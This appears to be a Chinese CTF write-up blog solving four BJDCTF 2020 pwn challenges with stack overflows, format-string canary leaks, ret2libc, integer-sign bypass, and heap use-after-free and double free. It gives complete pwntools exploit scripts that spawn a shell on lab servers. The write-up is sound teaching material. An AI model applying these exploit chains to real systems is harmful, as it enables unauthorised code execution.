babystack

[BJDCTF 2020]babystack

准备


64 位,开了 NX

分析

main函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int __fastcall main(int argc, const char **argv, const char **envp)
{
_BYTE buf[12]; // [rsp+0h] [rbp-10h] BYREF
size_t nbytes; // [rsp+Ch] [rbp-4h] BYREF

setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
LODWORD(nbytes) = 0;
puts("**********************************");
puts("* Welcome to the BJDCTF! *");
puts("* And Welcome to the bin world! *");
puts("* Let's try to pwn the world! *");
puts("* Please told me u answer loudly!*");
puts("[+]Are u ready?");
puts("[+]Please input the length of your name:");
__isoc99_scanf("%d", &nbytes);
puts("[+]What's u name?");
read(0, buf, (unsigned int)nbytes);
return 0;
}

看到这里先是一个输入读取一个十进制整数赋值(%d)给 nbytes
下面再是一个输入 read 读取最大 nbytes 个数给 buf ,但 buf 大小为12,当我们给 nbytes 的数值大于 buf 大小,并在 read 处同样输入大于 buf 大小的数据时,会存在缓冲区溢出

backdoor函数(后门函数)

1
2
3
4
5
__int64 backdoor()
{
system("/bin/sh");
return 1LL;
}

直接有了 system("/bin/sh")
总的这里就差一个偏移量
gdb 调试一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
motaly@motaly-VMware-Virtual-Platform:~$ gdb text
GNU gdb (Ubuntu 15.0.50.20240403-0ubuntu1) 15.0.50.20240403-git
Copyright (C) 2024 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 177 pwndbg commands and 46 shell commands. Type pwndbg [--shell | --all] [filter] for a list.
pwndbg: created $rebase, $base, $hex2ptr, $argv, $envp, $argc, $environ, $bn_sym, $bn_var, $bn_eval, $ida GDB functions (can be used with print/break)
Reading symbols from text...

This GDB supports auto-downloading debuginfo from the following URLs:
<https://debuginfod.ubuntu.com>
Debuginfod has been disabled.
To make this setting permanent, add 'set debuginfod enabled off' to .gdbinit.
(No debugging symbols found in text)
------- tip of the day (disable with set show-tips off) -------
Use track-got enable|info|query to track GOT accesses - useful for hijacking control flow via writable GOT/PLT
pwndbg> cyclic 100
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa
pwndbg> r
Starting program: /home/motaly/text
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
**********************************
* Welcome to the BJDCTF! *
* And Welcome to the bin world! *
* Let's try to pwn the world! *
* Please told me u answer loudly!*
[+]Are u ready?
[+]Please input the length of your name:
100
[+]What's u name?
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa

Program received signal SIGSEGV, Segmentation fault.
0x00000000004007cb in main ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
─────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]──────────────────────────────────────────────────
RAX 0
RBX 0x7fffffffd808 —▸ 0x7fffffffdbef ◂— '/home/motaly/text'
RCX 0x7ffff7d1ba61 (read+17) ◂— cmp rax, -0x1000 /* 'H=' */
RDX 0x64
RDI 0
RSI 0x7fffffffd6d0 ◂— 'aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa'
R8 0x11
R9 0
R10 0x7ffff7c109d8 ◂— 0x11001200001bd3
R11 0x246
R12 1
R13 0
R14 0
R15 0x7ffff7ffd000 (_rtld_global) —▸ 0x7ffff7ffe2e0 ◂— 0
RBP 0x6161616161616163 ('caaaaaaa')
RSP 0x7fffffffd6e8 ◂— 'daaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa'
RIP 0x4007cb (main+208) ◂— ret
──────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]───────────────────────────────────────────────────────────
► 0x4007cb <main+208> ret <0x6161616161616164>










────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffd6e8 ◂— 'daaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa'
01:0008│ 0x7fffffffd6f0 ◂— 'eaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa'
02:0010│ 0x7fffffffd6f8 ◂— 'faaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa'
03:0018│ 0x7fffffffd700 ◂— 'gaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa'
04:0020│ 0x7fffffffd708 ◂— 'haaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa'
05:0028│ 0x7fffffffd710 ◂— 'iaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa'
06:0030│ 0x7fffffffd718 ◂— 'jaaaaaaakaaaaaaalaaaaaaamaaa'
07:0038│ 0x7fffffffd720 ◂— 'kaaaaaaalaaaaaaamaaa'
──────────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────────
► 0 0x4007cb main+208
1 0x6161616161616164 None
2 0x6161616161616165 None
3 0x6161616161616166 None
4 0x6161616161616167 None
5 0x6161616161616168 None
6 0x6161616161616169 None
7 0x616161616161616a None
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg>
pwndbg> cyclic -l 0x6161616161616164
Finding cyclic pattern of 8 bytes: b'daaaaaaa' (hex: 0x6461616161616161)
Found at offset 24

给一个100的值给nbytes,得到偏移量为24

思路:

这里在 backdoor 后门函数中直接有了 system("/bin/sh") ,所以就一道简单的 ret2text
1.获得 backdoor 后门函数的地址
2.构造 ROP 链,获得连接
ida 中查看

得到 backdoor 后门函数的地址为 0x4006E6
构造 ROP

1
payload=b'a'*24+p64(sh)

直接偏移加返回地址

脚本

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
context.log_level = "debug"
io=remote('node4.anna.nssctf.cn',28854)
# io= process('/home/motaly/text')

sh=0x4006E6
payload=b'a'*24+p64(sh)

io.sendlineafter(b'Please input the length of your name:',b'100')
io.sendlineafter(b"What's u name?",payload)

io.interactive()

babyrop2

[BJDCTF 2020]babyrop2

准备


64 位,开了 canary

分析

main函数

1
2
3
4
5
6
7
int __fastcall main(int argc, const char **argv, const char **envp)
{
init(argc, argv, envp);
gift();
vuln();
return 0;
}

先有一个 gift 函数
然后有一个 vuln 函数

gift函数

1
2
3
4
5
6
7
8
9
10
11
12
13
unsigned __int64 gift()
{
char format[8]; // [rsp+0h] [rbp-10h] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
puts("I'll give u some gift to help u!");
__isoc99_scanf("%6s", format);
printf(format);
puts(s_0);
fflush(0LL);
return __readfsqword(0x28u) ^ v2;
}

这里 v2 存储 canary 的值
有一个输入,存在格式化字符串漏洞
这里最多读取 6 个字符到 format 数组,限制了输出大小

vuln函数

1
2
3
4
5
6
7
8
9
10
unsigned __int64 vuln()
{
_BYTE buf[24]; // [rsp+0h] [rbp-20h] BYREF
unsigned __int64 v2; // [rsp+18h] [rbp-8h]

v2 = __readfsqword(0x28u);
puts("Pull up your sword and tell me u story!");
read(0, buf, 0x64uLL);
return __readfsqword(0x28u) ^ v2;
}

读取输入最大 100(0x64) 个字节到 buf ,但 buf 没这么大,所以存在缓冲区溢出

思路:

这题开了 canary 保护,有格式化字符串漏洞,只有溢出点,没有连接点和其他,所以绕过 canary 后,打64位的 ret2libc
因为 64 位程序,所以需要寄存器,这里用常用的 puts 函数去打,有一个参数,用 rdi 寄存器,在考虑 64 位的堆栈平衡,也要知道 ret 来填充
ROPgadget 指令获取这些数据

这里通过格式化字符串漏洞去泄露 canary 的值
gdb 调试
断点断在 printf 输出那,然后运行程序,输入的值随便给一个


查看栈情况,确认 canary 的位置,通过 fmt 指令确认偏移

然后就可以利用格式化字符串漏洞,泄露 canary 的值

1
2
3
4
5
payload=b'%7$p'
io.sendlineafter(b"I'll give u some gift to help u!",payload)
io.recv()
canary=int(io.recv(18),16)
log.success('canary: '+hex(canary))

这里最后的 b'bbbb' 是为了好定位,来下面接收后获得 canary 的值
有了 canary 的值,就正常的打 ret2libc
要注意这里前面的填充值,去 ida 中具体查看

1
2
3
4
5
6
7
8
9
-0000000000000020 // Use data definition commands to manipulate stack variables and arguments.
-0000000000000020 // Frame size: 20; Saved regs: 8; Purge: 0
-0000000000000020
-0000000000000020 _BYTE buf[24];
-0000000000000008 _QWORD var_8;
+0000000000000000 _QWORD __saved_registers;
+0000000000000008 _UNKNOWN *__return_address;
+0000000000000010
+0000000000000010 // end of stack variables

这里输入点 bufcanary 的距离为 0x20-8=0x18(24)
这里输入点 buf 到返回地址的距离为 0x20+8=0x28(40)
所以我们先要填充 24 个值,然后给一个 canary 值(占8字节),再填充 40-24-8=8 个值到返回地址
先获取 puts 函数的地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
vuln=0x400887
rdi=0x400993
ret=0x4005f9

payload=b'%7$p'
io.sendlineafter(b"I'll give u some gift to help u!",payload)
io.recv()
canary=int(io.recv(18),16)
log.success('canary: '+hex(canary))

payload=b'a'*24+p64(canary)+b'a'*8+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(vuln)
io.sendlineafter(b'Pull up your sword and tell me u story!',payload)

io.recv()
puts_addr=u64(io.recv(6)[-6:].ljust(8,b'\x00'))
log.success('puts_addr: '+hex(puts_addr))

通过 puts 函数的地址,得到 libc 基址,进而有了 system/bin/sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
vuln=0x400887
rdi=0x400993
ret=0x4005f9

payload=b'%7$p'
io.sendlineafter(b"I'll give u some gift to help u!",payload)
io.recv()
canary=int(io.recv(18),16)
log.success('canary: '+hex(canary))

payload=b'a'*24+p64(canary)+b'a'*8+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(vuln)
io.sendlineafter(b'Pull up your sword and tell me u story!',payload)

io.recv()
puts_addr=u64(io.recv(6)[-6:].ljust(8,b'\x00'))
log.success('puts_addr: '+hex(puts_addr))

libc=LibcSearcher("puts", puts_addr)
libc_base=puts_addr-libc.dump('puts')
log.success('libc_base: ' + hex(libc_base))
system=libc_base+libc.dump('system')
bin_sh=libc_base+libc.dump("str_bin_sh")

最后构造 system('/bin/sh') ,获得 shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
vuln=0x400887
rdi=0x400993
ret=0x4005f9

payload=b'%7$p'
io.sendlineafter(b"I'll give u some gift to help u!",payload)
io.recv()
canary=int(io.recv(18),16)
log.success('canary: '+hex(canary))

payload=b'a'*24+p64(canary)+b'a'*8+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(vuln)
io.sendlineafter(b'Pull up your sword and tell me u story!',payload)

io.recv()
puts_addr=u64(io.recv(6)[-6:].ljust(8,b'\x00'))
log.success('puts_addr: '+hex(puts_addr))

libc=LibcSearcher("puts", puts_addr)
libc_base=puts_addr-libc.dump('puts')
log.success('libc_base: ' + hex(libc_base))
system=libc_base+libc.dump('system')
bin_sh=libc_base+libc.dump("str_bin_sh")

payload=b'a'*24+p64(canary)+b'a'*8+p64(ret)+p64(rdi)+p64(bin_sh)+p64(system)
io.sendlineafter(b'Pull up your sword and tell me u story!',payload)

脚本

(远程 libc 文件:libc6_2.23-0ubuntu11_amd64)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
from LibcSearcher import *
context(os='linux',log_level = 'debug',arch='amd64')
io = remote('node4.anna.nssctf.cn',28820)
# io= process('/home/motaly/pwn')
elf=ELF('/home/motaly/pwn')

puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
vuln=0x400887
rdi=0x400993
ret=0x4005f9

payload=b'%7$p'
io.sendlineafter(b"I'll give u some gift to help u!",payload)
io.recv()
canary=int(io.recv(18),16)
log.success('canary: '+hex(canary))

payload=b'a'*24+p64(canary)+b'a'*8+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(vuln)
io.sendlineafter(b'Pull up your sword and tell me u story!',payload)

io.recv()
puts_addr=u64(io.recv(6)[-6:].ljust(8,b'\x00'))
log.success('puts_addr: '+hex(puts_addr))

libc=LibcSearcher("puts", puts_addr)
libc_base=puts_addr-libc.dump('puts')
log.success('libc_base: ' + hex(libc_base))
system=libc_base+libc.dump('system')
bin_sh=libc_base+libc.dump("str_bin_sh")

payload=b'a'*24+p64(canary)+b'a'*8+p64(ret)+p64(rdi)+p64(bin_sh)+p64(system)
io.sendlineafter(b'Pull up your sword and tell me u story!',payload)

io.interactive()

babystack2.0

[BJDCTF 2020]babystack2.0

准备


64 位,开了 NX

分析

main函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
int __fastcall main(int argc, const char **argv, const char **envp)
{
_BYTE buf[12]; // [rsp+0h] [rbp-10h] BYREF
size_t nbytes; // [rsp+Ch] [rbp-4h] BYREF

setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
LODWORD(nbytes) = 0;
puts("**********************************");
puts("* Welcome to the BJDCTF! *");
puts("* And Welcome to the bin world! *");
puts("* Let's try to pwn the world! *");
puts("* Please told me u answer loudly!*");
puts("[+]Are u ready?");
puts("[+]Please input the length of your name:");
__isoc99_scanf("%d", &nbytes);
if ( (int)nbytes > 10 )
{
puts("Oops,u name is too long!");
exit(-1);
}
puts("[+]What's u name?");
read(0, buf, (unsigned int)nbytes);
return 0;
}

先读取输入给 nbytes 参数
下面用 if 判断对 nbytes 大小进行限制,不能大于等于10
但定义时nbytessize_t类型(无符号),此处用(int)nbytes强制转换为有符号整数判断,我们就可以用 -1 对这个大小限制进行绕过
最后用 read 函数,从nbytes 读取输入到 buf 中 ,但 buf 大小为 16(0x10),所以当我们绕过上面限制,输入大于 buf 大小的数据时,就会造成缓冲区溢出

backdoor(后门)函数

1
2
3
4
5
__int64 backdoor()
{
system("/bin/sh");
return 1LL;
}

直接的连接点
(这里我没有换源,所以本地调试会有点问题)
查看 ida 获取偏移量

1
2
3
4
5
6
7
8
9
10
11
12
-0000000000000010 // Use data definition commands to manipulate stack variables and arguments.
-0000000000000010 // Frame size: 10; Saved regs: 8; Purge: 0
-0000000000000010
-0000000000000010 _BYTE buf[12];
-0000000000000004 size_t nbytes;
+0000000000000004 // padding byte
+0000000000000005 // padding byte
+0000000000000006 // padding byte
+0000000000000007 // padding byte
+0000000000000008 _UNKNOWN *__return_address;
+0000000000000010
+0000000000000010 // end of stack variables

得到偏移量为 0x10+8

思路:

这题是整数溢出和后门函数
先通过 -1 绕过大小限制,然后直接构造 ROP

1
2
3
4
5
6
7
io.recvuntil(b'your name:\n')
io.sendline(b'-1')

sh=0x400726
io.recvuntil(b"What's u name?\n")
payload=b'a'*(0x10+8)+p64(sh)
io.sendline(payload)

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
context(arch='amd64',log_level='debug')
io=remote('node4.anna.nssctf.cn',28148)
# io= process('/home/motaly/stack')
elf=ELF('/home/motaly/stack')

io.recvuntil(b'your name:\n')
io.sendline(b'-1')

sh=0x400726
io.recvuntil(b"What's u name?\n")
payload=b'a'*(0x10+8)+p64(sh)
io.sendline(payload)
io.interactive()

YDSneedGirlfriend

[BJDCTF 2020]YDSneedGirlfriend

准备

分析

main函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
int n2; // eax
char buf[8]; // [rsp+0h] [rbp-10h] BYREF
unsigned __int64 v5; // [rsp+8h] [rbp-8h]

v5 = __readfsqword(0x28u);
myinit(argc, argv, envp);
while ( 1 )
{
while ( 1 )
{
menu();
read(0, buf, 4uLL);
n2 = atoi(buf);
if ( n2 != 2 )
break;
del_girlfriend();
}
if ( n2 > 2 )
{
if ( n2 == 3 )
{
print_girlfriend();
}
else
{
if ( n2 == 4 )
exit(0);
LABEL_13:
puts("Invalid choice");
}
}
else
{
if ( n2 != 1 )
goto LABEL_13;
add_girlfriend();
}
}
}

开头一个堆题正常的菜单,有增删查功能

add函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
unsigned __int64 add_girlfriend()
{
__int64 v0; // rbx
int i; // [rsp+8h] [rbp-28h]
int size; // [rsp+Ch] [rbp-24h]
char buf[8]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v5; // [rsp+18h] [rbp-18h]

v5 = __readfsqword(0x28u);
if ( count <= 10 )
{
for ( i = 0; i <= 9; ++i )
{
if ( !*(&girlfriendlist + i) )
{
*(&girlfriendlist + i) = malloc(0x10uLL);
if ( !*(&girlfriendlist + i) )
{
puts("Alloca Error");
exit(-1);
}
*(_QWORD *)*(&girlfriendlist + i) = print_girlfriend_name;
printf("Her name size is :");
read(0, buf, 8uLL);
size = atoi(buf);
v0 = (__int64)*(&girlfriendlist + i);
*(_QWORD *)(v0 + 8) = malloc(size);
if ( !*((_QWORD *)*(&girlfriendlist + i) + 1) )
{
puts("Alloca Error");
exit(-1);
}
printf("Her name is :");
read(0, *((void **)*(&girlfriendlist + i) + 1), size);
puts("Success !Wow YDS get a girlfriend!");
++count;
return __readfsqword(0x28u) ^ v5;
}
}
}
else
{
puts("Full");
}
return __readfsqword(0x28u) ^ v5;
}

这里是添加堆块,创建的时候会先创建一个 0x10 大小的结构块,再是自定义大小的内容块

delete函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
unsigned __int64 del_girlfriend()
{
int count; // [rsp+Ch] [rbp-14h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]

v3 = __readfsqword(0x28u);
printf("Index :");
read(0, buf, 4uLL);
count = atoi(buf);
if ( count >= 0 && count < count )
{
if ( *(&girlfriendlist + count) )
{
free(*((void **)*(&girlfriendlist + count) + 1));
free(*(&girlfriendlist + count));
puts("Success");
}
}
else
{
puts("Out of bound!");
}
return __readfsqword(0x28u) ^ v3;
}

这里释放后,没修改指针,存在 UAF 漏洞

show函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
unsigned __int64 print_girlfriend()
{
int count; // [rsp+Ch] [rbp-14h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]

v3 = __readfsqword(0x28u);
printf("Index :");
read(0, buf, 4uLL);
count = atoi(buf);
if ( count >= 0 && count < count )
{
if ( *(&girlfriendlist + count) )
(*(void (__fastcall **)(_QWORD))*(&girlfriendlist + count))(*(&girlfriendlist + count));
}
else
{
puts("Out of bound!");
}
return __readfsqword(0x28u) ^ v3;
}

正常的输出

backdoor函数(后门函数)

1
2
3
4
5
int backdoor()
{
puts("YDS get N+ girlfriend!");
return system("/bin/sh");
}

直接的连接点

连接地址为 0x400B9C

思路

我们要想办法把一个堆块的结构块变成内容块,来写入连接地址,最后输出那个堆块来触发连接

1-UAF:

这题有 UAF 和后门
1.我们可以通过创建两个堆块后,同时删除
2.然后添加结构块大小的堆块,写入连接地址,达到连接地址写入0块结构块的目的
3.最后输出一下0块,触发连接
先创建两个堆块,不用太大,这题不用 unsorted bin 来获得 libc 基址,我选用的0x30大小

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
context.log_level = "debug"
# io=remote('node4.anna.nssctf.cn',28634)
io= process('/home/motaly/girlfriend')
libc=ELF('/home/motaly/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')

def add(size,data):
io.sendlineafter("Your choice :", "1")
io.sendlineafter("Her name size is :", str(size))
io.sendlineafter("Her name is :", data)

def delete(index):
io.sendlineafter("Your choice :", "2")
io.sendlineafter("Index :", str(index))


def show(index):
io.sendlineafter("Your choice :", "3")
io.sendlineafter("Index :", str(index))

backdoor=0x400BAA

add(0x30,'aaa')
add(0x30,'bbb')


我们把0块和1块都释放掉

1
2
3
4
5
6
7
backdoor=0x400B9C

add(0x30,'aaa')
add(0x30,'bbb')

delete(0)
delete(1)


因为 fastbin 对释放堆块的大小分配管理,这里结构块分配到了一起,内容块分配到了一起
并且 fastbin 是单向链表,采用 LIFO 机制(后进先出原则),所以这里先释放0块后释放1块,导致1块的结构块地址在外,0块在内

1
2
3
4
5
6
7
8
9
backdoor=0x400B9C

add(0x30,'aaa')
add(0x30,'bbb')

delete(0)
delete(1)

add(0x10,p64(backdoor))

此时,我们在添加一个 0x10 大小的堆块,先是自带的结构块 0x10,我们自带的也是 0x10,就会把 fastbin 中 0x20 那一条全都读取出来
(虽然我们创建的是 0x10 大小,但考虑预留空间等因素,程序会给我们比我们创建堆块大小多大概 0x10 左右的空间)
也就是系统会把0块和1块的结构块分配给我们当作新堆块的结构块和内容块,按照后进先出原则,1块结构块作为新堆块的结构块,0块结构块作为新堆块的内容块
在我们创建的同时写入连接地址,就可以成功把连接地址写入0块的结构块,也就是改了0块的指针,使其指向了连接地址

最后我们输出一下0块,触发连接

1
2
3
4
5
6
7
8
9
10
backdoor=0x400B9C

add(0x30,'aaa')
add(0x30,'bbb')

delete(0)
delete(1)

add(0x10,p64(backdoor))
show(0)

2-Double free(不推荐使用这个方法):

这题有 UAF 和后门,还有一个思路是用 Double free (一个堆块释放两次)
(由于 free() 时候检查了 fastbin 头部指向的 chunk 和被 free()chunk 是否相等,即检查是否两次 free() 了同一个 chunk。所以不能通过直接 free() 同一个 chunk 来进行 double free,还检查了 fastbin 里的 chunksize 大小是否符合该 fastbin 的大小。
分配两个 chunk,分别命名为 chunk0chunk1,然free(chunk0);free(chunk1);free(chunk0) 就可以绕过上面的检查来进行 double free。)
1.我们先创建两个堆块0块和1块
2.在以释放0块,释放1块,释放0块的方式进行 double free
3.然后通过创建堆块,来达到我们写入的连接地址在堆块的结构块中的目的
4.最后输出一下写入连接地址在结构块的堆块
先创建两个堆块,不用太大,要在 fast bin 中,这里我是创建了 0x10,这样结构块和内容块大小一样,方便操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
context.log_level = "debug"
# io=remote('node4.anna.nssctf.cn',28634)
io= process('/home/motaly/girlfriend')
libc=ELF('/home/motaly/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')

def add(size,data):
io.sendlineafter("Your choice :", "1")
io.sendlineafter("Her name size is :", str(size))
io.sendlineafter("Her name is :", data)

def delete(index):
io.sendlineafter("Your choice :", "2")
io.sendlineafter("Index :", str(index))


def show(index):
io.sendlineafter("Your choice :", "3")
io.sendlineafter("Index :", str(index))

backdoor=0x400B9C

add(0x10,'aaa')
add(0x10,'bbb')


在以释放0块,释放1块,释放0块的形式释放堆块

1
2
3
4
5
6
7
8
backdoor=0x400B9C

add(0x10,'aaa')
add(0x10,'bbb')

delete(0)
delete(1)
delete(0)

这里可以看一下 double free 前后 fast bin 中链的对比

在对0块进行 double free 后,fast bin 链表会变成 0->1<-0 的情况,此时我们创建一个 0x10 大小的堆块,会申请出0块,0块是已经创建的堆块,但0块结构块还在 fast bin 中,这里就有 double free 造成的 UAF 漏洞

1
2
3
4
5
6
7
8
9
10
11
12
backdoor=0x400B9C

add(0x10,'aaa')
add(0x10,'bbb')

delete(0)
delete(1)
delete(0)
gdb.attach(io)
add(0x10,'ccc')
add(0x40,'ddd')
add(0x10,p64(backdoor))

此时,我们先添加一个 0x10 大小的堆块,把原先的0块申请出来
在随便创建一个不是 0x10 大小的堆块,来消耗掉一个 fast bin 中的地址
(我不是很清楚,为什么 double freefast bin 中原先的0块只有一个结构块地址,使得最后是5个地址,不过这个问题不大)
消耗的原因是我们的目的要把原先0块的结构块在后面申请的时候当作内容块申请出来,并写入连接地址,不消耗最后原先0块的结构块地址还是当作结构块申请出来,没法写入数据和最后的调用
最后创建一个 0x10 大小的堆块并写入连接地址

最后我们输出一下0块,触发连接

1
2
3
4
5
6
7
8
9
10
11
12
13
14
backdoor=0x400B9C

add(0x10,'aaa')
add(0x10,'bbb')

delete(0)
delete(1)
delete(0)

add(0x10,'ccc')
add(0x40,'ddd')
add(0x10,p64(backdoor))

show(0)

脚本:

脚本(UAF):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
context.log_level = "debug"
io=remote('node4.anna.nssctf.cn',28952)
# io= process('/home/motaly/girlfriend')
libc=ELF('/home/motaly/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')

def add(size,data):
io.sendlineafter("Your choice :", "1")
io.sendlineafter("Her name size is :", str(size))
io.sendlineafter("Her name is :", data)

def delete(index):
io.sendlineafter("Your choice :", "2")
io.sendlineafter("Index :", str(index))


def show(index):
io.sendlineafter("Your choice :", "3")
io.sendlineafter("Index :", str(index))

backdoor=0x400B9C

add(0x30,'aaa')
add(0x30,'bbb')

delete(0)
delete(1)

add(0x10,p64(backdoor))
show(0)
io.interactive()

脚本(Double free):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *
context.log_level = "debug"
io=remote('node4.anna.nssctf.cn',28952)
# io= process('/home/motaly/girlfriend')
libc=ELF('/home/motaly/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')

def add(size,data):
io.sendlineafter("Your choice :", "1")
io.sendlineafter("Her name size is :", str(size))
io.sendlineafter("Her name is :", data)

def delete(index):
io.sendlineafter("Your choice :", "2")
io.sendlineafter("Index :", str(index))


def show(index):
io.sendlineafter("Your choice :", "3")
io.sendlineafter("Index :", str(index))

backdoor=0x400B9C

add(0x10,'aaa')
add(0x10,'bbb')

delete(0)
delete(1)
delete(0)

add(0x10,'ccc')
add(0x40,'ddd')
add(0x10,p64(backdoor))

show(0)
io.interactive()